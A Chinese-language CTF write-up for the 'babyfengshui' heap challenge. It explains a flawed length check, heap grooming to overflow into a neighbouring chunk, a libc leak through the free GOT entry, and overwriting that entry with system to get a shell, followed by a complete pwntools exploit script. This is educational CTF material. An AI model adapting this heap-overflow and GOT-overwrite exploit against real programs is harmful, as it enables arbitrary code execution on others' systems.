ubuntu16
? Arch: ? ? i386-32-little
? RELRO: ? Partial RELRO
? Stack: ? Canary found
? NX: ? ? ? NX enabled
? PIE: ? ? No PIE (0x8048000) //没开
基本就这里有点问题
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
而重点则是在edit函数中,首先是让用户可以随意输入text的大小,但是该大小却受if ( (v3 + **(&ptr + a1)) >= *(&ptr + a1) - 4 )的影响也就是超出存储在之前结构体中text的大小时则会退出。
创建三个堆看一下布局
?在chunk0的指针
现在将free的地址改写为system的地址
?
我看是会创建两个堆块一个堆块是储存数据一个堆块储存姓名的
上面看到了update在判断长度的时候存在问题,
看堆布局以chunk0来说,判断条件就是:`0x08be7000+0x80>=0x08be7008`
因为我free掉一个index0的就相当于把创建的name和text的内容的堆都free(0x88+0x88)
但是,有一个问题就是,chunk0和chunk0(name)其实不一定是相邻的,这样的话就有了实现溢出的可能
我们将free掉index0号堆然后重新申请0x100,就可以使他chunk-name和chunk-text不相邻,这样我们chunk-text就可以输入任意大小的数据
?
这样从申请的chunk-text溢出到chunk1的堆块的
?
hex(0x87311a0-0x8731000)-0x8 //这个我猜的,真实情况下还是一个个慢慢填调吧!
泄漏的libc来计算基地址,计算出getshell函数
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
print hex(free_addr)
libc_addr=free_addr-libc.symbols['free']
system=libc_addr+libc.symbols['system']
我们之前往chunk2中写入了’/bin/sh‘,现在将free的地址改写为system的地址,这样在执行free(chunk2)的时候就变成了执行system(’/bin/sh’)这样就可以获取shell了
update(1,0x8,p32(system))
delete(2)
p.interactive()
exp:
from pwn import *
context.log_level='debug'
p=process('./babyfengshui_33c3_2016')
elf=ELF('./babyfengshui_33c3_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
free_got=elf.got['free']
?
def add(size,name,length,text):
p.recvuntil("Action: ")
p.sendline("0")
p.sendlineafter("size of description: ",str(size))
p.sendlineafter("name: ",name)
p.recvuntil("text length:")
p.sendline(str(length))
p.recvuntil("text:")
p.sendline(text)
def delete(index):
p.recvuntil("Action: ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(index))
def show(index):
p.recvuntil("Action: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
def update(index,length,text):
p.recvuntil("Action: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("text length: ")
p.sendline(str(length))
p.recvuntil("text: ")
p.sendline(text)
?
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
?
add(0x100,'nam1',0x100,"cccc")
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
print hex(free_addr)
libc_addr=free_addr-libc.symbols['free']
system=libc_addr+libc.symbols['system']
print hex(system)
update(1,0x8,p32(system))
delete(2)
p.interactive()
总结:
看他上面的特性来说就是,他将你前面的free的堆块大小,正好被申请抢光了,他会到堆块的最后面申请空间
我还是懵的,为什么最后一步修改free_got表的地址可以这样来达到getshell,我还是迷迷糊糊的,改天逮一个师傅来!现在将free的地址改写为system的地址现在将free的地址改写为system的地址
|